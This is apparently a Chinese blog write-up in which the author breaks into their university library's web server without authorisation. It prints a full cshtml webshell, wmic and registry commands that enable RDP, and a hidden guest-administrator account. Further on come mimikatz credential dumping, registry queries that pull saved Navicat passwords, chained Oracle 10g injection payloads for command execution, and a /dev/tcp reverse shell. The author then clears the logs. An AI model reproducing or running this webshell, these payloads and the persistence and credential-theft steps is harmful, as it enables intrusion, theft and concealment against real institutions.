0x00 前言
一个月前的事了觉得挺有意思的记录一下。4月初回学校后不久想着不能荒废啊于是想去图书馆借本书学习一下。然而,可恶的是我想看的书图书馆竟然没搜到。可把我气坏了,好不容易想学习下来着。然后就顺手就测试了一下...
0x01 突破后台
一开始的时候,我只顾着在前台个人中心头像上传处一个劲的怼,发现白名单把后缀限制的死死的,解析漏洞也不行。没办法,只能放弃前台处。开启御剑扫描敏感目录,果然给我一个大惊喜admin.rar赶紧下下来瞅瞅。
解压后发现是aspx的,我估摸着aspx我也不会呀,审计是不可能审计的了,瞄了一眼源码结构,倒是发现几个有意思的名字。
看名字就明白是啥功能了,直接访问这个文件,发现可以越权访问。点击确认后竟然直接添加成功,就这样未授权添加管理员,然后进入后台。
后台功能点还是挺多的,getshell这一步花了不少时间。
0x02 后台getshell
一开始只顾着一个劲的找上传点,差不多有三个上传点吧。从下载的源码结构中也能看出。不过依旧是白名单限制的很死。然后就尝试着去试其他地方。发现include模块这个功能点有点意思,我本来是想直接写一个aspx大马进去的,但是它这里只能写cshtml文件,搜索了一波感觉有戏,然而我手里没有cshtml的马呀,没办法,后面去某论坛问了一波,结果有大佬立马就给了我一个。感谢lovehack师傅又让我学到了新姿势。
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by fuckgov):
@cmd
测试后发现直接是system权限。
不过这样操作很麻烦,需要不断地改然后保存在访问。这里直接用echo写了一个小马去连接,然后在传入一个大马方便操作。
0x03 服务器提权
虽说已经是system权限了,但是我还是想进远程桌面里取看看,发现3389端口没开,使用命令tasklist /svc
和netstat -ano
也没发现远程桌面开在其他端口上。然后使用以下cmd命令开启了3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
开是开了但是还是死活连接不上,翻了一通服务器发现了下面这张图。
因为之前用反向代理比较多,所以我第一反应是用ngrok把3389端口映射出去。然而,奇怪的事情发生了,用ngrok映射发现ip竟然变了不是服务器的ip。这直接导致我连接不上,我也不知道是啥原因,有大佬知道的话可以告诉我一下。后面又试了下正向代理。传了reGeorg-master的aspx脚本上去,windows下在配合Proxifier进行代理,直接连接,发现可以。这里其实只是单纯地限制了3389不能连接,做个端口转发也行。接下来就是添加管理员了,不过一般不建议直接添加账号,启用它的guest账号然后在添加到administrators组会比较隐蔽点。使用命令:
net user guest /active:yes
net user guest asdf123!
net localgroup administrators guest /add
0x04 信息收集
进入服务器后需要进行一系列的信息收集以扩大我们的战果。具体收集哪些东西就不说了,网上有很多这类文章。首先上传了一个mimikatz,读出了administrator账户的密码。等晚上老师们都下班后在登录上去。然后在Chrome浏览器里发现存了两个密码。打开一看震惊了,妥妥的弱口令还是网站后台的管理员密码。之后翻了下sqlserver,发现密码就是简单的md5加密。解密后发现全是弱口令...
然后看了下mstsc记录,发现存了两个记录。
直接用当前administrator账号的密码就连上去了。
0x05 离线解密Navicat密码
这一部分的思路来自klion师傅的小密圈。非常感谢klion师傅提供的高质量文章让我学习到了不少。连入内网服务器后,发现装了Navicat,打开一看却发现,已经过期了。
我试了下,这里可以通过改服务器当前时间重新进入,不过不建议怎么搞,这台服务器是跑了业务的,随意改时间会影响正常服务。这里可以通过读注册表的方式达到同样的效果,这里是oracle,其他数据库换一下文件名即可。
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v host 连接 ip
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v UserName 用于连接用户名
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v pwd 用于连接的密码 hash
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v pwd 用于连接的密码 hash
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v InitialDatabase 初始数据库,有些默认不是ORCL
读出hash后使用工具本地解密。
工具地址:http://https://github.com/klionsec/Decryption-tool
0x06 oracle提权&反弹shell
获取到上述信息后,就可以在本地连接了。在虚拟机中安装好Navicat Premium,新建连接,填入上一步获取到的信息,发现连入成功。
翻了一遍,没发现啥好东西。收集信息得知是oracle 10g 且为Linux系统,应该能执行系统命令。网上有很多教程,选择一种方法进行测试。
(1) 创建Java库
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
(2) 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
(3) 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
(4) 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
(5) 执行
select sys.LinxRunCMD('/bin/bash -c /usr/bin/pwd') from dual
反弹shell:
- 创建java代码
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.88.227/5678;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 反弹shell
select sys.reversetcp from dual
收到弹过来的shell。
不过这里很多命令都执行不了也没法在继续深入了,还有思路的大佬望不吝赐教。
最后,清除日志。
0x07 写在后面的话
整个过程其实也没啥技术含量,只不过用到的东西平常都见得比较少。
参考:
https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/
https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389
klion师傅小密圈文章